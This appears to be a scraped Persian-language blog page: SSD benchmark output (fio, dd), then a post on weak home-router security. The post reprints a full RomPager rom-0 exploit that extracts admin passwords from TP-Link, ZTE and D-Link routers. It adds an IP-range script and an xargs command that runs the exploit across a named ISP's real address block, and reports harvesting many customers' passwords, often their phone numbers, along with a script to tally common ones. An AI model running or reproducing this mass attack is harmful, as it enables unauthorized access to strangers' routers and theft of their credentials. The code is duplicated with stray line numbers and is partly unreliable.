  write: io=1024.4MB, bw=235236KB/s, iops=58808, runt=  4459msec
  cpu          : usr=19.47%, sys=70.17%, ctx=27594, majf=0, minf=367
  IO depths    : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0%
     submit    : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
     complete  : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.1%, >=64=0.0%
     issued    : total=r=786347/w=262229/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
     latency   : target=0, window=0, percentile=100.00%, depth=64

Run status group 0 (all jobs):
   READ: io=3071.7MB, aggrb=705402KB/s, minb=705402KB/s, maxb=705402KB/s, mint=4459msec, maxt=4459msec
  WRITE: io=1024.4MB, aggrb=235235KB/s, minb=235235KB/s, maxb=235235KB/s, mint=4459msec, maxt=4459msec

Disk stats (read/write):
  nvme0n1: ios=766260/255818, merge=0/0, ticks=182612/2688, in_queue=185564, util=97.90%

fio —randrepeat=1 —ioengine=libaio —direct=1 —gtod_reduce=1 —name=test —filename=test —bs=4k —iodepth=64 —size=4G —readwrite=randrw —rwmixread=75

test: (g=0): rw=randrw, bs=4K–4K/4K–4K/4K–4K, ioengine=libaio, iodepth=64

fio–2.2.10

Starting 1 process

test: Laying out IO file(s) (1 file(s) / 4096MB)

Jobs: 1 (f=1): [m(1)] [75.0% done] [719.6MB/240.2MB/0KB /s] [184K/61.5K/0 iops] [eta 00m:01s]

Jobs: 1 (f=1): [m(1)] [100.0% done] [690.4MB/229.5MB/0KB /s] [177K/58.8K/0 iops] [eta 00m:00s]

test: (groupid=0, jobs=1): err= 0: pid=14313: Sun Aug 6 15:33:11 2017

read : io=3071.7MB, bw=705402KB/s, iops=176350, runt= 4459msec

write: io=1024.4MB, bw=235236KB/s, iops=58808, runt= 4459msec

cpu : usr=19.47%, sys=70.17%, ctx=27594, majf=0, minf=367

IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0%

submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%

complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.1%, >=64=0.0%

issued : total=r=786347/w=262229/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0

latency : target=0, window=0, percentile=100.00%, depth=64

Run status group 0 (all jobs):

READ: io=3071.7MB, aggrb=705402KB/s, minb=705402KB/s, maxb=705402KB/s, mint=4459msec, maxt=4459msec

WRITE: io=1024.4MB, aggrb=235235KB/s, minb=235235KB/s, maxb=235235KB/s, mint=4459msec, maxt=4459msec

Disk stats (read/write):

nvme0n1: ios=766260/255818, merge=0/0, ticks=182612/2688, in_queue=185564, util=97.90%

این هارد خوب iops=176350 برای read و iops=58808 رو برای نوشتن به ما میده که البته فاصله خیلی زیادی با اعدادی داره که سامسونگ ادعا میکنه :)‌

dd if=/dev/zero of=novid bs=1M count=512 oflag=dsync
512+0 records in
512+0 records out
536870912 bytes (537 MB, 512 MiB) copied, 3.57902 s, 150 MB/s

dd if=/dev/zero of=novid bs=1M count=512 conv=fdatasync
512+0 records in
512+0 records out
536870912 bytes (537 MB, 512 MiB) copied, 0.635125 s, 845 MB/s

dd if=/dev/zero of=novid bs=1M count=512 oflag=dsync

512+0 records in

512+0 records out

536870912 bytes (537 MB, 512 MiB) copied, 3.57902 s, 150 MB/s

dd if=/dev/zero of=novid bs=1M count=512 conv=fdatasync

512+0 records in

512+0 records out

536870912 bytes (537 MB, 512 MiB) copied, 0.635125 s, 845 MB/s

و در کمال تعجب میشه دید که این ssd در حالت sequential خیلی هم خوب کار نمیکنه :)

6 آگوست 2017

چقدر از کاربرای خونگی در خطر از دست دادن اطلاعات شخصی‌شون هستن؟

توی پست قبلی مطلبی در مورد امنیت ضعیف مودم‌های تی‌پی‌لینک نوشته بودم که به نظر اونطور که باید و شاید توجه رو به سمت خودش جلب نکرد.

برای همین در ادامه‌ی اون پست، این مطلب رو اینجا میذارم تا یک مقدار بیشتر با خطراتی که کاربران خونگی رو تهدید میکنه آشنا کنم.

برای شروع برنامه‌ای که توی پست قبل ازش استفاده کرده بودیم رو تغییر میدیم طوری که به جای ریست روتر، یک راست با دادن آی‌پی طرف، پسورد رو تحویل بگیریم.

#!/usr/bin/env python
# -*- coding: utf-8 -*- 
 
# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers:   ZTE ZXV10 W300
#                   TP-Link TD-W8901G
#                   TP-Link TD-W8101G
#                   TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:    Please note this exploit may contain errors, and
#           is provided “as it is”. There is no guarantee
#           that it will work on your target router(s), as
#           the code may have to be adapted. 
#           This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#             Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1
 
import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
  
class BitReader:
     
    def __init__(self, bytes):
        self._bits = collections.deque()
         
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
             
    def getBit(self):
        return self._bits.popleft()
         
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
         
    def getByte(self):
        return self.getBits(8)
         
    def __len__(self):
        return len(self._bits)
         
class RingList:
     
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
  
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
  
    def get(self):
        return self.__data__
  
    def size(self):
        return len(self.__data__)
  
    def maxsize(self):
        return self.__max__
         
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def filter_non_printable(str):
  return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])
 
 
def banner():
    return ”’
 
\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                            
 ”’                         
def dos(host, password):
    while (1):
        url = ‘http://’ +host+ ‘/Forms/tools_test_1’
        parameters = {
        ‘Test_PVC’          :   ‘PVC0’, 
        ‘PingIPAddr’        :   ‘\101’*2000,
        ‘pingflag’          :   ‘1’,
        ‘trace_open_flag’   :   ‘0’,
        ‘InfoDisplay’       :   ‘+-+Info+-%0D%0A’
        }
         
        params = urllib.urlencode(parameters) 
         
        req = urllib2.Request(url, params) 
        base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)
        req.add_header(“Authorization”, “Basic %s” %base64string)
        req.add_header(“Content-type”, “application/x-www-form-urlencoded”)
        req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)
        try:
                print ‘[~] Sending Payload’
                response = urllib2.urlopen(req, timeout=1)
                sys.exit(0)
             
        except:
            flag = checkHost(host)
            if flag == 0:
                print ‘[+] The host is still up and running’
            else:
                print ‘[~] Success! The host is down’
                sys.exit(0)
                break
 
def checkHost(host):
    if sys.platform == ‘win32’:
        c = “ping -n 2 ” + host
    else:
        c = “ping -c 2 ” + host
 
    try:
        x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        time.sleep(1)
        return x
         
    except:
        pass
 
def checkServer(host):
    connexion = httplib.HTTPConnection(host)
    connexion.request(“GET”, “/status.html”)
    response = connexion.getresponse()
    server = response.getheader(“server”)
    connexion.close()
    time.sleep(2)
    if server == ‘RomPager/4.07 UPnP/1.0’:
        return 0
    else:
        return 1
 
def checkPassword(host):
    print ‘[+] Checking for default password’
    defaultpass = ‘admin’
    tn = telnetlib.Telnet(host, 23, 4)
    tn.read_until(“Password: “)
    tn.write(defaultpass + ‘\n’)
    time.sleep(2)
    banner = tn.read_eager()
    banner = regex(len(defaultpass)*r’.’+’\w+’ , banner)
    tn.write(“exit\n”)
    tn.close()
    time.sleep(4)
    if banner == ‘Copyright’:
        print ‘[+] Default password is being used’
    else:
        print ‘[!] Default Password is not being used’
    while True:
        #msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()
        try:
                password = decodePasswordLocal(host)
                print ‘[*] Router of %s  password is: %s’ %(host,password)
                break                  
        except Exception, e:
                print e
                continue
         
 
def decodePasswordLocal(host):
    # Sometimes this might output a wrong password while finding the exact string. 
    # print the result as mentioned below and manually find out
    fname = ‘rom-0’
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve (“http://”+host+”/rom-0″, fname)
    fpos=8568
    fend=8788
    fhandle=file(‘rom-0’)
    fhandle.seek(fpos)
    chunk=”*”
    amount=221
    while fpos < fend:
        if fend-fpos < amount:
            amount = amount
            data = fhandle.read(amount)
            fpos += len(data)
             
    reader = BitReader(data)
    result = ”
        
    window = RingList(2048)
         
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    break
            else:
                offset = reader.getBits(11)
             
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
             
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,’ignore’)
    # In case the password you see is wrong while filtering, manually print it from here and findout. 
    #print result 
    if ‘TP-LINK’ in result:
        result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;
        result = result.replace(“TP-LINK”, “”)
        result = result[1:]
 
    if ‘ZTE’ in result:
        result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;
        result = result.replace(“ZTE”, “”)
        result = result[1:]
 
    if ‘tc160’ in result:
        result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;
        result = result.replace(“tc160”, “”)
        result = result[1:]

    if ‘D-Link’ in result:
        result = ”.join(result.split()).split(‘D-Link’, 1)[0] + ‘D-Link’;
        result = result.replace(“D-Link”, “”)
        result = result[1:]
    return result
     
def regex(path, text):
    match = re.search(path, text)
    if match:
        return match.group()
    else:
        return None
 
def main():
    if sys.platform == ‘win32’:
        os.system(‘cls’)
    else:
        os.system(‘clear’)
    try:
        parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)
        parser.add_option(‘-i’, dest=’host’, 
                            type=’string’,  
                            help=’Specify the IP to attack’)
        (options, args) = parser.parse_args()
         
        if options.host is None:
            parser.print_help()
            exit(-1)
 
        host = options.host
        x = checkHost(host)
        if x == 0:
            print ‘[+] The host is up and running’
            server = checkServer(host)
            if server == 0:
                checkPassword(host)
            else:
                print (‘[!] Sorry the router is not running RomPager’)
        else:
            print ‘[!] The host is not up and running’
            sys.exit(0)
 
    except KeyboardInterrupt:
        print ‘[!] Ctrl + C detected\n[!] Exiting’
        sys.exit(0)
    except EOFError:
        print ‘[!] Ctrl + D detected\n[!] Exiting’
        sys.exit(0)
 
if __name__ == “__main__”: 
    main()  
#EOF

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit

# Date: 10-05-2014

# Server Version: RomPager/4.07 UPnP/1.0

# Tested Routers: ZTE ZXV10 W300

# TP-Link TD-W8901G

# TP-Link TD-W8101G

# TP-Link TD-8840G

# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0

# Tested on: Kali Linux x86

# Notes: Please note this exploit may contain errors, and

# is provided “as it is”. There is no guarantee

# that it will work on your target router(s), as

# the code may have to be adapted.

# This is to avoid script kiddie abuse as well.

# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.

# Author takes no responsibility for any kind of damage you cause.

# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)

# Dedicate to Nick Knight and Hood3dRob1n

# ./dos.py -i 192.168.1.1

import os

import re

import sys

import time

import urllib

import base64

import httplib

import urllib2

import requests

import optparse

import telnetlib

import subprocess

import collections

import unicodedata

class BitReader:

def __init__(self, bytes):

self._bits = collections.deque()

for byte in bytes:

byte = ord(byte)

for n in xrange(8):

self._bits.append(bool((byte >> (7–n)) & 1))

def getBit(self):

return self._bits.popleft()

def getBits(self, num):

res = 0

for i in xrange(num):

res += self.getBit() << num–1–i

return res

def getByte(self):

return self.getBits(8)

def __len__(self):

return len(self._bits)

class RingList:

def __init__(self, length):

self.__data__ = collections.deque()

self.__full__ = False

self.__max__ = length

def append(self, x):

if self.__full__:

self.__data__.popleft()

self.__data__.append(x)

if self.size() == self.__max__:

self.__full__ = True

def get(self):

return self.__data__

def size(self):

return len(self.__data__)

def maxsize(self):

return self.__max__

def __getitem__(self, n):

if n >= self.size():

return None

return self.__data__[n]

def filter_non_printable(str):

return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])

def banner():

return ”’

\t\t _/_/_/ _/_/_/

\t\t _/ _/ _/_/ _/

\t\t _/ _/ _/ _/ _/_/

\t\t _/ _/ _/ _/ _/

\t\t_/_/_/ _/_/ _/_/_/

”’

def dos(host, password):

while (1):

url = ‘http://’ +host+ ‘/Forms/tools_test_1’

parameters = {

‘Test_PVC’ : ‘PVC0’,

‘PingIPAddr’ : ‘\101’*2000,

‘pingflag’ : ‘1’,

‘trace_open_flag’ : ‘0’,

‘InfoDisplay’ : ‘+-+Info+-%0D%0A’

}

params = urllib.urlencode(parameters)

req = urllib2.Request(url, params)

base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)

req.add_header(“Authorization”, “Basic %s” %base64string)

req.add_header(“Content-type”, “application/x-www-form-urlencoded”)

req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)

try:

print ‘[~] Sending Payload’

response = urllib2.urlopen(req, timeout=1)

sys.exit(0)

except:

flag = checkHost(host)

if flag == 0:

print ‘[+] The host is still up and running’

else:

print ‘[~] Success! The host is down’

sys.exit(0)

break

def checkHost(host):

if sys.platform == ‘win32’:

c = “ping -n 2 “ + host

else:

c = “ping -c 2 “ + host

try:

x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

time.sleep(1)

return x

except:

pass

def checkServer(host):

connexion = httplib.HTTPConnection(host)

connexion.request(“GET”, “/status.html”)

response = connexion.getresponse()

server = response.getheader(“server”)

connexion.close()

time.sleep(2)

if server == ‘RomPager/4.07 UPnP/1.0’:

return 0

else:

return 1

def checkPassword(host):

print ‘[+] Checking for default password’

defaultpass = ‘admin’

tn = telnetlib.Telnet(host, 23, 4)

tn.read_until(“Password: “)

tn.write(defaultpass + ‘\n’)

time.sleep(2)

banner = tn.read_eager()

banner = regex(len(defaultpass)*r‘.’+‘\w+’ , banner)

tn.write(“exit\n”)

tn.close()

time.sleep(4)

if banner == ‘Copyright’:

print ‘[+] Default password is being used’

else:

print ‘[!] Default Password is not being used’

while True:

#msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()

try:

password = decodePasswordLocal(host)

print ‘[*] Router of %s password is: %s’ %(host,password)

break

except Exception, e:

print e

continue

def decodePasswordLocal(host):

# Sometimes this might output a wrong password while finding the exact string.

# print the result as mentioned below and manually find out

fname = ‘rom-0’

if os.path.isfile(fname) == True:

os.remove(fname)

urllib.urlretrieve (“http://”+host+“/rom-0”, fname)

fpos=8568

fend=8788

fhandle=file(‘rom-0’)

fhandle.seek(fpos)

chunk=“*”

amount=221

while fpos < fend:

if fend–fpos < amount:

amount = amount

data = fhandle.read(amount)

fpos += len(data)

reader = BitReader(data)

result = ”

window = RingList(2048)

while True:

bit = reader.getBit()

if not bit:

char = reader.getByte()

result += chr(char)

window.append(char)

else:

bit = reader.getBit()

if bit:

offset = reader.getBits(7)

if offset == 0:

break

else:

offset = reader.getBits(11)

lenField = reader.getBits(2)

if lenField < 3:

lenght = lenField + 2

else:

lenField <<= 2

lenField += reader.getBits(2)

if lenField < 15:

lenght = (lenField & 0x0f) + 5

else:

lenCounter = 0

lenField = reader.getBits(4)

while lenField == 15:

lenField = reader.getBits(4)

lenCounter += 1

lenght = 15*lenCounter + 8 + lenField

for i in xrange(lenght):

char = window[–offset]

result += chr(char)

window.append(char)

result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,‘ignore’)

# In case the password you see is wrong while filtering, manually print it from here and findout.

#print result

if ‘TP-LINK’ in result:

result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;

result = result.replace(“TP-LINK”, “”)

result = result[1:]

if ‘ZTE’ in result:

result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;

result = result.replace(“ZTE”, “”)

result = result[1:]

if ‘tc160’ in result:

result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;

result = result.replace(“tc160”, “”)

result = result[1:]

if ‘D-Link’ in result:

result = ”.join(result.split()).split(‘D-Link’, 1)[0] + ‘D-Link’;

result = result.replace(“D-Link”, “”)

result = result[1:]

return result

def regex(path, text):

match = re.search(path, text)

if match:

return match.group()

else:

return None

def main():

if sys.platform == ‘win32’:

os.system(‘cls’)

else:

os.system(‘clear’)

try:

parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)

parser.add_option(‘-i’, dest=‘host’,

type=‘string’,

help=‘Specify the IP to attack’)

(options, args) = parser.parse_args()

if options.host is None:

parser.print_help()

exit(–1)

host = options.host

x = checkHost(host)

if x == 0:

print ‘[+] The host is up and running’

server = checkServer(host)

if server == 0:

checkPassword(host)

else:

print (‘[!] Sorry the router is not running RomPager’)

else:

print ‘[!] The host is not up and running’

sys.exit(0)

except KeyboardInterrupt:

print ‘[!] Ctrl + C detected\n[!] Exiting’

sys.exit(0)

except EOFError:

print ‘[!] Ctrl + D detected\n[!] Exiting’

sys.exit(0)

if __name__ == “__main__”:

main()

#EOF

حالا با دادن یک آی‌پی به برنامه راحت میشه پسورد روتر رو بدست بیارید. دقت کنید که برنامه ابتدا ip مقصد رو پینگ میکنه و در صورت بالا بودن هاست، میره عملیات بعدی رو روی اون اجرا میکنه.

با رفتن به آدرس http://ping.eu/ns-whois و دادن آی‌پی ولید خودتون، می‌تونید یک رنج از آی‌پی‌های ولید isp رو بدست بیارید.

Selection_024

با کمی جستجو در اینترنت به اسکریپت زیر می‌رسیم که رنج ابتدایی و انتهایی ip رو میگیره و در انتها تمام ipهای بینش رو برامون تولید میکنه (خروجی برنامه‌ی زیر سی و پنج هزار آی‌پی هست).

#!/bin/bash
#
# Function: Generate a range of IP Addresses
# Version:  1.1
# Author:   sol@subnetzero.org
#
# v1.1
#
# Convention for octets:  A.B.C.D

# Variable setup section…
#
# Split up IP addresses into seperate variables for each octet
IPLO=(`echo “$1″ | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)
IPHI=(`echo “$2″ | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)
#
# Put array contents into nicely named vars for less confusion
#
OCTA=${IPLO[0]}
OCTB=${IPLO[1]}
OCTC=${IPLO[2]}
OCTD=${IPLO[3]}
OCTAHI=${IPHI[0]}
OCTBHI=${IPHI[1]}
OCTCHI=${IPHI[2]}
OCTDHI=${IPHI[3]}
OCTDMAX=255             # Max default value for D Octet to loop to
FINISHED=0              # Variable used for loop state checking

# Syntax sanity check; check all vars are populated etc
for i in 0 1 2 3
do
        if [ -z “${IPLO[$i]}” ] || [ -z “${IPHI[$i]}” ]; then
                echo “Usage: $0 [from ip] [to ip]”
                exit 1
        elif [ “${IPLO[$i]}” -gt “255” ] || [ “${IPHI[$i]}” -gt “255” ];then
                echo “One of your values is broken (greater than 255).”
                exit 1
        fi

done

# Until FINISHED variable is set to 1, loop the loop.
# FINISHED var is used to determine when done as the increments
# to the vars in the loop will mean that when we get to the done
# statement, the values won’t be the same as printed.
#
# The D Octet loop is the heart of this script, as it’s easiest
# to check whether we’ve reached the target or not from here.
#
until [ “$FINISHED” -eq “1” ];
do
        # If first 3 octets match hi values, use OCTDHI as max value for 4th octet.
        if [ “$OCTA” -eq “$OCTAHI” ] && \
           [ “$OCTB” -eq “$OCTBHI” ] && \
           [ “$OCTC” -eq “$OCTCHI” ]; then
                OCTDMAX=$OCTDHI
        fi

        # Loop octet D up to OCTDMAX 255 unless above criteria satisfied
        while [ “$OCTD” -le “$OCTDMAX” ];
        do
                # Print out current IP
                printf “$OCTA.$OCTB.$OCTC.$OCTD\n”
                # Check if this is the last IP to print
                if [ “$OCTA” -eq “$OCTAHI” ] && \
                   [ “$OCTB” -eq “$OCTBHI” ] && \
                   [ “$OCTC” -eq “$OCTCHI” ] && \
                   [ “$OCTD” -eq “$OCTDHI” ]; then
                        FINISHED=1
                fi
                OCTD=$(( $OCTD + 1 ))
        done

        # Now D loop has completed, set C + 1 and reset D to 0
        OCTC=$(( $OCTC + 1 ))
        OCTD=”0″

        # if C is over 255 then set B + 1 and reset C to 0
        if [ “$OCTC” -gt “255” ]; then
                OCTB=$(( $OCTB + 1 ))
                OCTC=”0″
        fi

        # If B is over 255 then set A + 1 and reset B to 0
        if [ “$OCTB” -gt “255” ]; then
                OCTA=$(( $OCTA + 1 ))
                OCTB=”0″
        fi

        # If A is over 255 for whatever reason then set FINISHED=1
        if [ “$OCTA” -gt “255” ]; then
                FINISHED=1
        fi
done
exit 0

#!/bin/bash

# Function: Generate a range of IP Addresses

# Version: 1.1

# Author: [email protected]

# v1.1

# Convention for octets: A.B.C.D

# Variable setup section…

# Split up IP addresses into seperate variables for each octet

IPLO=(`echo “$1” | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)

IPHI=(`echo “$2” | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)

# Put array contents into nicely named vars for less confusion

OCTA=${IPLO[0]}

OCTB=${IPLO[1]}

OCTC=${IPLO[2]}

OCTD=${IPLO[3]}

OCTAHI=${IPHI[0]}

OCTBHI=${IPHI[1]}

OCTCHI=${IPHI[2]}

OCTDHI=${IPHI[3]}

OCTDMAX=255 # Max default value for D Octet to loop to

FINISHED=0 # Variable used for loop state checking

# Syntax sanity check; check all vars are populated etc

for i in 0 1 2 3

if [ –z “${IPLO[$i]}” ] || [ –z “${IPHI[$i]}” ]; then

echo “Usage: $0 [from ip] [to ip]”

exit 1

elif [ “${IPLO[$i]}” –gt “255” ] || [ “${IPHI[$i]}” –gt “255” ];then

echo “One of your values is broken (greater than 255).”

exit 1

done

# Until FINISHED variable is set to 1, loop the loop.

# FINISHED var is used to determine when done as the increments

# to the vars in the loop will mean that when we get to the done

# statement, the values won’t be the same as printed.

# The D Octet loop is the heart of this script, as it’s easiest

# to check whether we’ve reached the target or not from here.

until [ “$FINISHED” –eq “1” ];

# If first 3 octets match hi values, use OCTDHI as max value for 4th octet.

if [ “$OCTA” –eq “$OCTAHI” ] && \

[ “$OCTB” –eq “$OCTBHI” ] && \

[ “$OCTC” –eq “$OCTCHI” ]; then

OCTDMAX=$OCTDHI

# Loop octet D up to OCTDMAX 255 unless above criteria satisfied

while [ “$OCTD” –le “$OCTDMAX” ];

# Print out current IP

printf “$OCTA.$OCTB.$OCTC.$OCTD\n”

# Check if this is the last IP to print

if [ “$OCTA” –eq “$OCTAHI” ] && \

[ “$OCTB” –eq “$OCTBHI” ] && \

[ “$OCTC” –eq “$OCTCHI” ] && \

[ “$OCTD” –eq “$OCTDHI” ]; then

FINISHED=1

OCTD=$(( $OCTD + 1 ))

done

# Now D loop has completed, set C + 1 and reset D to 0

OCTC=$(( $OCTC + 1 ))

OCTD=“0”

# if C is over 255 then set B + 1 and reset C to 0

if [ “$OCTC” –gt “255” ]; then

OCTB=$(( $OCTB + 1 ))

OCTC=“0”

# If B is over 255 then set A + 1 and reset B to 0

if [ “$OCTB” –gt “255” ]; then

OCTA=$(( $OCTA + 1 ))

OCTB=“0”

# If A is over 255 for whatever reason then set FINISHED=1

if [ “$OCTA” –gt “255” ]; then

FINISHED=1

done

exit 0

حالا کافیه به طریقی این آی‌پی‌ها رو به خورد اسکریپت اصلی بدیم که پسوردها رو قراره در بیاره برامون.

برای اینکار از برنامه‌ی xargs استفاده می‌کنیم. xargs خروجی یک برنامه رو میگیره و به صورت آرگومان به برنامه‌ای که مدنظرمونه میده. حالت پیشفرض xargs،‌ خروجی به آخر برنامه اضافه میکنه. اگه بخوایم خروجی رو به وسط کامندی که اجرا میکنیم، اضافه کنه از خروجی -I به همراه یک نام (place holder) استفاده مینیم.

 ./ip.sh 109.162.208.0 109.162.223.255 | xargs -I{} timeout 20 ~/novid.py -i {} 2>/dev/null | grep Router

1	./ip.sh 109.162.208.0 109.162.223.255 \| xargs –I{} timeout 20 ~/novid.py –i {} 2>/dev/null \| grep Router

کامند بالا علارغم ظاهر خیلی پیچیده‌ای که داره خیلی ساده عمل میکنه.

قلب اصلی همون novid.py که فقط یک ip میگیره و قراره پسورد رو بهمون برگردونه. با اسکریپت Ip.sh و کمک برنامه xargs تعداد زیادی ip رو داریم به خوردش می‌دیم.

اما به دلایل مختلف ممکنه برنامه پیغام‌های خطایی رو برگردونه که اونها رو داریم به dev/null میریزیم (به جای نمایش اونها در صفحه نمایش). سر بعضی از آی‌پی‌ها برنامه کلا متوقف میشه و دیگه جلو نمیره. برای جلوگیری از این اتفاق از timeout استفاده میکنیم و میگیم حالت نرمال برای پیدا کردن پسورد یک روتر زیر ۲۰ ثانیه‌ست. اگه بیشتر از این زمان برد، بیخیال اون آی‌پی بشو و برو سراغ بعدی.

xargs با استفاده از خروجی -I به جای اینکه هر آی‌پی رو انتهای کامند یعنی grep Router بیاره، اونها رو وسط کامند دونه دونه به برنامه میده! {}صرفا یک نام هست که می‌دونیم در کامندی که قراره بارها اجرا بشه هیچ استفاده‌ای نمیشه، میشه به جای اون هر چیز دیگه‌ای هم استفاده کرد.

اون بخش grep رو برای این گذاشتم که برنامه بعد از پیدا کردن پسورد روتر چند خط رو به عنوان خروجی بر میگردونه. پسورد نیز در خطی قرار داره که کلمه‌ی Router وجود داره.

بعد چند ساعت صبر و بسته به سرعت اینترنت، به کلی پسورد روتر خواهید رسید!

Selection_028 جالبه در خیلی پسوردها، نام isp داتک رو میتونستم ببینم که مشخص بود تنظیمات رو خود داتک بر روی روتر طرف انجام داده. بسیاری هم شماره تلفن خونه‌شون رو به عنوان پسورد انتخاب کرده بودن که خیلی راحت میشه به اطلاعات بیشتری از فرد دست پیدا کرد.

کار قشگ دیگه ای که میشه انجام داد اینه که ببینیم بیشترین پسوردی رو که ملت استفاده میکنن چیه؟

برای اینکار با کمی جستجو به اسکریپت count_all_words.py میرسیم.

#!/usr/bin/python
from collections import Counter
from re import split

BANNER = “-” * 35

def format_print(counter, is_reverse=False):
    lst = counter.items()
    lst.sort(key=lambda (a, b): (b, a), reverse=is_reverse)
    print (“[Unique Words: %d]” % len(lst)).center(35, “=”)
    print “%-16s | %16s” % (“Word”, “Count”)
    print BANNER
    for word, count in lst:
        print “%-16s | %16d” % (word, count)

def count_words(filename):
    counter = Counter()
    with open(filename, “rU”) as f:
        for line in f:
            line = line.strip().lower()
            if not line:
                continue
            counter.update(x for x in split(” “,line) if x)
    return counter

format_print(count_words(“PASSWDUSERS.txt”), is_reverse=False)

#!/usr/bin/python

from collections import Counter

from re import split

BANNER = “-“ * 35

def format_print(counter, is_reverse=False):

lst = counter.items()

lst.sort(key=lambda (a, b): (b, a), reverse=is_reverse)

print (“[Unique Words: %d]” % len(lst)).center(35, “=”)

print “%-16s | %16s” % (“Word”, “Count”)

print BANNER

for word, count in lst:

print “%-16s | %16d” % (word, count)

def count_words(filename):

counter = Counter()

with open(filename, “rU”) as f:

for line in f:

line = line.strip().lower()

if not line:

continue

counter.update(x for x in split(” “,line) if x)

return counter

format_print(count_words(“PASSWDUSERS.txt”), is_reverse=False)

